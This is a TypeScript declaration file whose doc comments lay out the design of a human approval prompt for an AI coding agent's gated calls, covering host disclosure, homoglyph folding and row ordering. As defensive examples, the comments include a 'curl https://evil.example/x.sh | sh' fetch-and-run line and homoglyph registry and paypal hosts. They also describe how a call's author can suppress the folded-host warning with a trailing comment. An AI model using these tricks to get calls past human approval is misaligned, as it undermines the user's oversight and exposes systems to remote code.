/** * [[EXT-137]] — **the split between what an approval surface may FIX in place and what it must let * scroll.** * * An approval prompt has two halves with opposite properties. One is anchored where the human * presses a key: it cannot scroll, so whatever it holds is bounded by the screen rather than by * the text. The other is the conversation, where length is already solved. This module owns both * halves, so a surface renders them rather than deciding them. * * ## The fixed half carries only text WE wrote * * {@link APPROVAL_ASK_LINE} and {@link approvalCategoryLine} are the whole of it: a constant * sentence saying Gaunt Sloth is asking, and a **category** drawn from {@link ApprovalCategory} — * a closed union of four, each with one sentence of our prose. Nothing model-authored, * third-party-authored or user-authored is interpolated into either. Not a truncated host, not a * tool name, not a count of what was withheld — nothing. * * **That is a structural property, not a careful one.** The predecessor reproduced a host in a * one-line summary "only when it could do so safely and in full", where *in full* meant a hundred * characters; a longer path pushed it past the bound and the row degraded to `(1 not shown here)`, * so the author of a hostile URL chose whether the row named a host. Every repair that keeps the * text moves the boundary — a bigger cap is padded past, a truncation keeps * `https://raw.githubusercontent.com/…`, which is the reassuring half of a hostile URL. Removing * the text leaves the boundary nothing to bound: there is no cap to pad past and no truncation * direction to get wrong. * * **The category is not decoration, and it is not derived from the command's bytes.** A fixed block * reading only *Gaunt Sloth has a message for you* trades a truncation problem for an attention * problem — it gives the reader no reason to look up before pressing a key. The category says what * CLASS of thing is about to be allowed, which is that line's actual job. It is chosen by looking * at the call (a command naming a host in a fetch position is the `network` arm), but what is * printed is one of four constants: influence over the CHOICE is not influence over the BYTES. * * ## The scrollable half carries everything else, ordered so the identity survives * * {@link approvalRequestRows} renders the note, the rating, the negotiation, what a sticky answer * would store, the command and the hosts — into the conversation, where nothing needs a cap. * * **The order is load-bearing and it is the inverse of the reading order you would guess.** A block * taller than the viewport loses its TOP, so the last rows are the ones that survive on screen * whatever else is long. The explanation goes first, the command after it, and the hosts LAST, * immediately above the fixed block: for a hostile URL the counterparty's identity is precisely * what a reader must not lose, and a host block rendered above a ten-thousand-character command * would scroll away with the top of the command. "Explanation above, host and command last" is the * rule; which of those two goes last is decided by asking which one survives when the other is * long. * * **The hosts are named in two groups, and the second is the point of [[EXT-156]].** The gate * matches an NFKC-folded command, so the hosts it extracts can be spelled differently from the call * shown above them — a fullwidth `r` in `registry.npmjs.org` folds to the real npm registry, which * that command does not contain. {@link approvalHostGroups} asks the item's own control of each * host — *does the call text contain it?* — and the ones that fail are labelled as such rather than * shown as though the call had written them. It reads: no extraction and no matcher moves. * **Whoever writes the call can suppress the disclosure for free** — a trailing shell comment * naming the folded spelling is enough — so read it as a signal on an unwitting call, never as a * control on a deliberate one; {@link approvalHostGroups}'s docblock says why. * * **The hosts are framed, not allow-listed.** `core/shell/openWorld`'s `listHostsForFloorNote` * quotes a host only when it passes a character allow-list and a length bound, because that * sentence is our prose sitting OUTSIDE the `` fence in a rater's prompt, * where a host that carries a sentence carries an instruction. This block has a different boundary * and a better one: `core/shell/framing` neutralises every control character, numbers each row and * holds column 0, so a host is shown IN FULL however long and however hostile. Reusing the note's * allow-list here would ship the very defect this module exists to close into its replacement. * * ## One renderer, three surfaces * * The Ink TUI paints these rows as a transcript item and the fixed lines in its dock; the * readline surface prints the same rows linearly and the same fixed lines above its menu; the * transcript row estimator counts the same rows so the viewport budgets what is actually drawn. * A second copy of this ordering is how two surfaces come to describe one request two ways — the * argument `core/shell/framing`, `core/shell/negotiation` and `core/shell/approvalStop` each make * for their own renderers. * * **ACP is deliberately not a consumer.** It hands rendering to an editor client, which draws * structured fields in its own UI where terminal control codes are inert and a gutter would be * noise; `modules/acp/acpPermissions.ts` states what that surface does instead. * * @module */ import type { DialogTone } from '#src/utils/consoleUtils.js'; import type { PendingToolInterrupt } from '#src/core/types.js'; /** * How one row of the request block is painted, in terms both terminal surfaces already own. * * It is a SEMANTIC tone rather than a colour: each surface maps it onto its own chrome. Colour is * never the only signal — every row's meaning is in its words too, because these reach monochrome * terminals, `NO_COLOR` and pipes. * * - `info` / `warn` / `danger` — our own heading at one of the three severities * `core/shell/escalationSeverity` grades an escalation with. * - `chrome` — one of our own quiet labels (*the rater's own words:*). * - `quoted` — untrusted text quoted as the SUBJECT of the question: the call itself. * - `aside` — untrusted text quoted inside one of our own labelled asides: what a sticky control * would store. * - `plain` — text with no severity and no subordination (the agent's turns in a negotiation). * * **The last three look like one tone and are three, because the two dialogs' quiet levels do not * line up.** The Ink dialog dims what is QUOTED and leaves an aside undimmed; the readline dialog * dims what is SUBORDINATE and leaves the call itself plain. Collapsing them would repaint one * surface or the other, and repainting a dialog is not what this split is for. */ export type ApprovalRowTone = 'chrome' | 'info' | 'warn' | 'danger' | 'plain' | 'quoted' | 'aside'; /** One terminal row of the scrollable half, tagged with how it is painted. */ export interface ApprovalRequestRow { tone: ApprovalRowTone; text: string; } /** * The four classes of thing a human is ever asked to allow. * * **A closed union is the whole point.** The fixed block's second line is `APPROVAL_CATEGORY_LINES[ * category]`, so the set of strings that line can ever hold is enumerated in this file and is four * long. Widen it only with another constant sentence — never with a value read out of the call. * * - `network` — any call that names a counterparty: a shell command with a host literal in a fetch * or transfer position, or a tool whose arguments carry a URL. It outranks the other three * because it is the class where the counterparty, not the verb, is what the human is really * ruling on. * - `shell` — a shell command naming no host. * - `mcpTool` — a tool call to a third-party MCP server, naming no host. * - `tool` — any other gated tool naming no host, including the built-in write tools and custom * tools. */ export type ApprovalCategory = 'shell' | 'network' | 'mcpTool' | 'tool'; /** * The category sentence per {@link ApprovalCategory} — the only model of what the fixed block's * second line may say. * * Each names the class of action rather than the action: *a shell command*, not the command. That * is what makes them un-paddable, and it is also what makes them useful — a reader who sees the * same four sentences over a session learns them, which a sentence built from the call never * allows. * * The `network` line says the host is one the reader has not approved because that is what having * reached a human means: a host the user named themselves is carved out of the open-world floor * (§4.6) and a host on the allow-list never reaches this prompt at all. */ export declare const APPROVAL_CATEGORY_LINES: Readonly>; /** * The constant first line of the fixed block: Gaunt Sloth is asking, and an answer is what unblocks * it. * * It names the product rather than "the agent" deliberately. This line is the one the eye lands on * when a prompt appears under whatever the user was reading, and the fact worth carrying there is * *which program on this terminal has stopped and is waiting for you*. */ export declare const APPROVAL_ASK_LINE = "\u26A0 Gaunt Sloth is asking you to approve a call."; /** * The constant third line of the fixed block on a surface whose conversation SCROLLS: where the * call itself went. * * Only the Ink TUI uses it. The readline surface prints the request block and the fixed lines in * one linear run, where "above, in the conversation" would point at nothing in particular. */ export declare const APPROVAL_DETAILS_ABOVE_LINE = "The call is shown above, in the conversation."; /** The heading the scrollable block opens with — our own, and never a place a name is spliced. */ export declare const APPROVAL_REQUEST_HEADING = "\u26A0 Gaunt Sloth is asking about this call:"; /** * Our label for the hosts block, which sits last so it survives a long call above it. * * *This call* rather than *this command*: a gated tool names its counterparty in a structured * argument, and that block is the same block. */ export declare const APPROVAL_HOSTS_LABEL = "Hosts this call names:"; /** * [[EXT-156]] — our label for the hosts the block names that the call does not SPELL that way. * * It is a second label rather than a sentence appended to the first because the disagreement is a * property of individual hosts: a call naming three of them may spell two and fold one, and a * notice over the whole block would leave a reader to work out which. Two labelled groups say it * structurally, and neither carries a value read out of the call. */ export declare const APPROVAL_FOLDED_HOSTS_LABEL = "\u26A0 Hosts this call names but does not spell this way:"; /** * The second row of that block: the fact the label above is only useful with. * * *Different characters* rather than *look-alike characters*, because what the check establishes is * that the characters differ and not that they resemble one another — a compatibility form the fold * rewrites need not look like anything. */ export declare const APPROVAL_FOLDED_HOSTS_NOTE = " The call above writes them with different characters."; /** * [[EXT-156]] — the same row for the call whose displayed text is only PART of what it was read * from, where the note above would be false. * * `approvalCallText` shows `args.command` alone whenever it is a string, and a `tool`/`mcpTool` * call's hosts are read off all its arguments — so a host a sibling argument names is missing from * the screen without having been folded from anything. The label still holds (the call as shown * does not spell it) and only the reason changes, which is why this is a second NOTE and not a * third group: splitting the hosts would tell a reader that two kinds of counterparty are at stake * when there is one, and the thing they must not lose is the name. * * It claims two things, and the predicate that picks it enforces both: what is on screen is the * command argument, and it is not all of them. `showsCommandArgumentOnly` is what makes the second * half true rather than merely plausible — the row is printed only for a call that carries an * argument besides `command`, so there really is a "them" and the screen really does hold one of * it. A call whose `command` is its ONLY argument gets the characters note instead: its arguments * are all on screen, and what the reader cannot see there is a character, not an argument. * * It deliberately does NOT say the hosts came from the arguments it does not show — a `command` * argument spelling a whole URL is read for a host like any other value, and folds rather than * hides. */ export declare const APPROVAL_UNSHOWN_HOSTS_NOTE = " The call above shows only its command argument, not all of them."; /** The text a surface shows as the call: the command, or the arguments it was given instead. */ export declare function approvalCallText(pending: Pick): string; /** * The hosts this call names in a fetch or transfer position — the counterparty's identity, in full. * * **Both extractions are asked, and that is not belt-and-braces.** `findOpenWorldHostLiterals` * reads a command it can resolve statically and DECLINES on a composed one, which is measured * rather than inferred: it returns the host for `curl https://evil.example/x.sh` and an empty array * for `curl https://evil.example/x.sh | sh`. Asking it alone would leave this block silent on * exactly the shapes that most need a counterparty named — a fetch piped into an interpreter, an * archive piped into `ssh` — and an empty result there is indistinguishable from a command that * names nobody. `findComposedOpenWorld` is the arm that reads those, and the union is what makes * "no host block" mean "no host". * * Neither is a new notion of what a host position is: they are the two the gate itself decides on. * * **A call that is not a shell command is asked of `core/approvals/toolHost` instead**, which is * again the gate's own extraction rather than a new one: it is what §4.7.4 binds a sticky tool * grant's host with, read off the structured arguments by `URL` parsing. Without this arm the one * tool whose whole purpose is to reach a counterparty — a gated web fetch — would render as a * generic tool call with no host anywhere in the block, which is the exact loss this module exists * to prevent, moved from a truncated line to an absent one. * * **It is asked for ALL the hosts, not for the subject's one.** `ApprovalSubject.host` is set only * where a call names exactly one, because a grant may record only one — but a call naming several * is the case where a reader most needs them named, and reading the subject's field would have gone * silent on precisely that call. */ export declare function approvalHosts(pending: Pick): string[]; /** * One call's hosts, split by whether the call SPELLS the host this block is about to name. * * @see {@link approvalHostGroups} */ export interface ApprovalHostGroups { /** Hosts that occur in {@link approvalCallText} as written. */ written: string[]; /** Hosts that do not — produced by a fold the gate applies and the call's own text does not show. */ folded: string[]; } /** * [[EXT-156]] — the hosts of one call, split by whether the call spells the ones it names. * * **This reads; it decides nothing.** {@link approvalHosts} and both extractions behind it are * untouched, and so is the {@link approvalCategoryFor} classifier that reads them: the same hosts * are named, the same floor fires, the same category is chosen. What is added is the statement of a * disagreement that was previously silent. * * ## The disagreement, and why it exists * * {@link approvalCallText} returns the call's true characters. `approvalHosts` reads its hosts * through the gate's own extractions, which match `core/shell/normalize`'s **NFKC-folded** form — * so a host written with a character NFKC rewrites is reported in its folded spelling, and the * block goes on to name a host the call never wrote. Measured on U+FF52, the fullwidth `r`: * `curl -o index.html https://registry.npmjs.org/simple/` names `https://registry.npmjs.org/simple/`, * which is the real npm registry and is not in that command at all. * * **The fold is right and is not what changes here.** The hardline blocklist and the allow-list * classifier match the normalised form deliberately, so trivial obfuscation cannot smuggle a command * past the guard; removing it would widen what the gate lets through. The defect is that a * *human-facing* field inherited it silently, and the remedy is to say so. * * **The `tool`/`mcpTool` arm is checked rather than assumed.** It reaches `core/approvals/toolHost`, * which reads structured arguments by `URL` parsing — a DIFFERENT fold, not no fold. Measured: `URL` * applies IDNA, so the same fullwidth `r` yields `registry.npmjs.org`, and a Cyrillic `а` yields the * punycode `xn--pypal-4ve.com` for an argument spelling `pаypal.com`. Both are disagreements and * both are disclosed here. That arm also lower-cases its host, which is why the comparison folds * ASCII case, and ASCII case only — a host argument written `REGISTRY.npmjs.org` names the same * host and must not raise an alarm that trains readers to ignore this one. * * ## What the predicate is, and how it errs * * *Does the host occur in the call text?* — the item's own control, needing no offset mapping back * through NFKC (which is not length-preserving) and no second notion of what a host is. It is asked * of the text the reader is actually shown, which is what makes the LABEL true of every host under * it: the call as displayed really does not spell it. * * **The suppression direction is free, and it belongs to whoever wrote the call.** The test is * occurrence anywhere in the call text, so a call that also writes the folded spelling somewhere * else reads as written and says nothing. On the shell arm that takes the whole folded URL, since * the host there IS the URL: `echo https://registry.npmjs.org/x && curl * https://registry.npmjs.org/x` is suppressed while an incidental bare hostname elsewhere is not — * **and so is a trailing `#` comment naming that URL, or a dead `echo`, or an unrelated argument, * none of which change anything the command does.** On the tool arm the host is a bare hostname, so * a sibling argument mentioning it in prose is enough. This is not an unlucky shape a reader may * hope not to meet: an author who wants no disclosure appends one comment and gets none. What would * close it is a POSITIONAL test, and a positional test is a second notion of where a host lives — * the thing this must not grow. The residue is bounded rather than small: a suppressed disclosure * on a call that already cannot auto-approve ([[EXT-61]] floors it at `destructive` before the * rater). * * **The other direction costs a second note row, and the label is what the two of them share.** * `approvalHosts` reads a `tool`/`mcpTool` call's hosts off ALL its arguments while * `approvalCallText` displays `args.command` alone whenever it is a string, so the shown text is * SOMETIMES less than what the hosts came from — when the call carries an argument besides * `command`, and only then; see `showsCommandArgumentOnly`. On a call whose `command` is its only * argument the display is the whole of them, and the ordinary characters note is the true one * there. A host named by a sibling argument is correctly labelled (the * call as shown does not spell it) while *"the call above writes them with different characters"* * would be false: it does not write them at all. So the label is one and the note is two, chosen by * that predicate — the classification is never weakened to make one sentence fit both. Comparing * against the serialised arguments instead would have "fixed" this by calling such a host WRITTEN, * printing `Hosts this call names:` beside a displayed call that names nobody — which is [[EXT-156]]'s * own defect reached by another route. Do not. * * **The note is one per BLOCK; the reason is one per HOST.** A call can fold one host by characters * and keep another off the screen behind an argument it does not display, and one row cannot say * both — so a call carrying an argument besides `command` states the partial display, and the * reader is left to the label for the other. The label is true of every host under it either way * and no host moves between the groups, so what that reader loses is a reason, never a name. * * ## Why the raw spelling is not reproduced here * * It is already on the screen: the framed call sits directly above this block and carries the call's * true characters, so both forms are in front of the reader and what was missing was the statement * that they differ. Recovering the raw *host substring* to print beside the folded one would need * exactly the NFKC offset mapping this predicate exists to avoid — and it would buy a reader nothing * they can act on, since the two spellings are by construction ones a terminal font does not * distinguish. The disagreement is the signal. */ export declare function approvalHostGroups(pending: Pick): ApprovalHostGroups; /** * The {@link ApprovalCategory} for one gated call. * * The branch reads the subject the GATE decided on (`core/approvals/matcher`'s `ApprovalSubject`), * so this is not a second classifier — `promptHeader` makes the same argument for the same reason. * The one thing it adds is the `network` arm, which asks the same host extractions the gate itself * ran ({@link approvalHosts}). * * **A named counterparty outranks the kind of call that names it, whatever the kind.** A fetch is * the class where the host and not the verb is what the human is really ruling on, and that is as * true of a gated web-fetch tool or an MCP tool handed a URL as it is of `curl` — the reader's * question is *who is it talking to*, and answering it with *one of its own tools* buries the part * that decides the answer. The kinds are what a call falls back to when it names nobody. * * **The two host extractions have deliberately different appetites, and the `network` arm inherits * both.** A shell command's hosts come from a FETCH-POSITION analysis, so `echo https://x` names * nobody; a tool's come from `core/approvals/toolHost`, whose whole test is *does this argument * parse as a URL* — so writing a file whose entire content is a bare URL reads as `network` here. * That over-detection is `toolHost`'s stated design (a value it fails to recognise costs a broader * grant, never a narrower one) and this arm keeps it rather than second-guessing the extraction the * grant is bound with. It errs toward the more alarming of two true sentences about a call that * does carry a URL, which is the direction to err in. * * **A call with no subject falls to `tool` when it names nobody** — `promptHeader`'s fail-to-vague: * a surface handed a hand-built interrupt gets the unspecific category rather than a specific one * nothing established. It still reaches `network` where a host is named, since that arm reads the * call rather than the subject. */ export declare function approvalCategoryFor(pending: Pick): ApprovalCategory; /** The fixed block's category line: one of {@link APPROVAL_CATEGORY_LINES}, and nothing else. */ export declare function approvalCategoryLine(pending: Pick): string; /** * The scrollable half of one approval request, as terminal rows. * * Every row is painted **verbatim, one row per line, and never re-wrapped** — the condition * `core/shell/framing` states its column-0 guarantee over. A caller that joins these and hands them * to something that wraps has undone the gutter. * * `columns` is what the surface reports (`stdout.columns`), resolved through `frameWidthFor` here * so no two surfaces can disagree about how much of a command a human was shown. Below core's floor * the frame is wider than the terminal and the guarantee lapses; `narrowTerminalNotice` leads the * block in that case, so it lapses out loud. * * The order, top to bottom, and the reason for its two ends: * * 1. our heading and the category — the same category the fixed block names, so the two halves are * visibly one request; * 2. the rating, the `approvals.escalate` entry that fired, the §5 negotiation, and what a sticky * answer would store — the EXPLANATION, which is the half that may be long and is the half that * may scroll away; * 3. what is being called, then the command; * 4. the hosts, LAST. */ export declare function approvalRequestRows(pending: PendingToolInterrupt, options?: { columns?: number; }): ApprovalRequestRow[]; /** * The tones as the readline surface's own {@link DialogTone}s. * * Exported so the mapping is one table rather than a `switch` inside a session module, and so a * spec can assert both surfaces still paint every tone they are handed. */ export declare const APPROVAL_ROW_DIALOG_TONES: Readonly>;